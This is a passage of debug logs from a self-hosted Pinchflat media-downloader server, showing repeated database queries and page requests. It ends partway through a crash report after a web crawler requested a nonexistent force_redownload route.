08:16:33.790 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:16:33.790 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.792 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:16:33.794 [info] Sent 200 in 12ms 08:16:33.796 [info] Sent 200 in 14ms 08:16:33.886 [info] GET /sources/2/media/814 08:16:33.886 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "814", "source_id" => "2"} Pipelines: [:browser] 08:16:33.887 [debug] QUERY OK source="media_items" db=0.4ms idle=97.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [814] 08:16:33.888 [debug] QUERY OK source="tasks" db=0.2ms idle=98.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [814] 08:16:33.888 [debug] QUERY OK source="sources" db=0.5ms idle=97.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:16:33.889 [debug] QUERY OK source="settings" db=0.2ms idle=98.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.889 [debug] QUERY OK source="settings" db=0.2ms idle=97.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.890 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.892 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:16:33.895 [info] Sent 200 in 9ms 08:16:38.788 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.077 [info] GET /sources/5/media/102593 08:17:00.077 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102593", "source_id" => "5"} Pipelines: [:browser] 08:17:00.078 [info] GET /sources/2/media/809 08:17:00.078 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "809", "source_id" => "2"} Pipelines: [:browser] 08:17:00.078 [debug] QUERY OK source="media_items" db=0.5ms idle=1395.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 08:17:00.079 [debug] QUERY OK source="media_items" db=0.6ms idle=880.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [809] 08:17:00.080 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=396.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102593] 08:17:00.080 [debug] QUERY OK source="sources" db=1.0ms idle=396.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:17:00.081 [debug] QUERY OK source="tasks" db=0.7ms idle=396.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [809] 08:17:00.081 [debug] QUERY OK source="sources" db=0.7ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:17:00.081 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2616] 08:17:00.082 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.082 [debug] QUERY OK source="settings" db=0.5ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.083 [debug] QUERY OK source="settings" db=0.6ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.083 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.084 [debug] QUERY OK source="settings" db=0.5ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.085 [debug] QUERY OK source="settings" db=1.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.086 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:17:00.087 [debug] QUERY OK source="media_profiles" db=1.0ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:17:00.089 [info] Sent 200 in 11ms 08:17:00.091 [info] Sent 200 in 13ms 08:17:00.340 [info] GET /sources/2/media/814/edit 08:17:00.341 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "814", "source_id" => "2"} Pipelines: [:browser] 08:17:00.341 [debug] QUERY OK source="media_items" db=0.3ms idle=257.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [814] 08:17:00.342 [debug] QUERY OK source="settings" db=0.2ms idle=257.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.343 [debug] QUERY OK source="settings" db=0.2ms idle=256.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.344 [debug] QUERY OK source="settings" db=0.2ms idle=256.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:00.346 [info] Sent 200 in 5ms 08:17:00.593 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:04.754 [info] GET /sources/2/media/805/edit 08:17:04.754 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "805", "source_id" => "2"} Pipelines: [:browser] 08:17:04.755 [debug] QUERY OK source="media_items" db=0.3ms idle=1071.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [805] 08:17:04.756 [debug] QUERY OK source="settings" db=0.3ms idle=1072.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:04.756 [debug] QUERY OK source="settings" db=0.2ms idle=1073.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:04.757 [debug] QUERY OK source="settings" db=0.2ms idle=1074.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:04.759 [info] Sent 200 in 5ms 08:17:05.009 [info] GET /sources/2/media/817 08:17:05.009 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "817", "source_id" => "2"} Pipelines: [:browser] 08:17:05.010 [debug] QUERY OK source="media_items" db=0.5ms idle=801.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [817] 08:17:05.011 [debug] QUERY OK source="tasks" db=0.2ms idle=256.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [817] 08:17:05.012 [debug] QUERY OK source="sources" db=0.5ms idle=255.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:17:05.013 [debug] QUERY OK source="settings" db=0.2ms idle=256.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.013 [debug] QUERY OK source="settings" db=0.2ms idle=255.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.014 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.016 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:17:05.019 [info] Sent 200 in 10ms 08:17:05.508 [info] GET /sources/2/media/807 08:17:05.508 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "807", "source_id" => "2"} Pipelines: [:browser] 08:17:05.509 [debug] QUERY OK source="media_items" db=0.4ms idle=496.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [807] 08:17:05.510 [debug] QUERY OK source="tasks" db=0.3ms idle=496.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [807] 08:17:05.511 [debug] QUERY OK source="sources" db=0.5ms idle=496.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:17:05.511 [debug] QUERY OK source="settings" db=0.2ms idle=495.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.512 [debug] QUERY OK source="settings" db=0.1ms idle=301.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.513 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:05.514 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:17:05.518 [info] Sent 200 in 9ms 08:17:08.790 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:38.043 [info] GET /sources/2/force_redownload 08:17:38.043 [info] GET /sources/5/media/89022/edit 08:17:38.044 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89022", "source_id" => "5"} Pipelines: [:browser] 08:17:38.045 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1361.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.045 [debug] QUERY OK source="media_items" db=0.7ms idle=1361.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89022] 08:17:38.045 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1362.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.046 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:17:38.046 [debug] QUERY OK source="settings" db=0.2ms idle=1362.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.046 [debug] QUERY OK source="settings" db=0.2ms idle=768.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.047 [debug] QUERY OK source="settings" db=0.3ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.050 [info] Sent 200 in 6ms 08:17:38.046 [error] #PID<0.273998.0> running PinchflatWeb.Endpoint (connection #PID<0.273996.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51548}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, 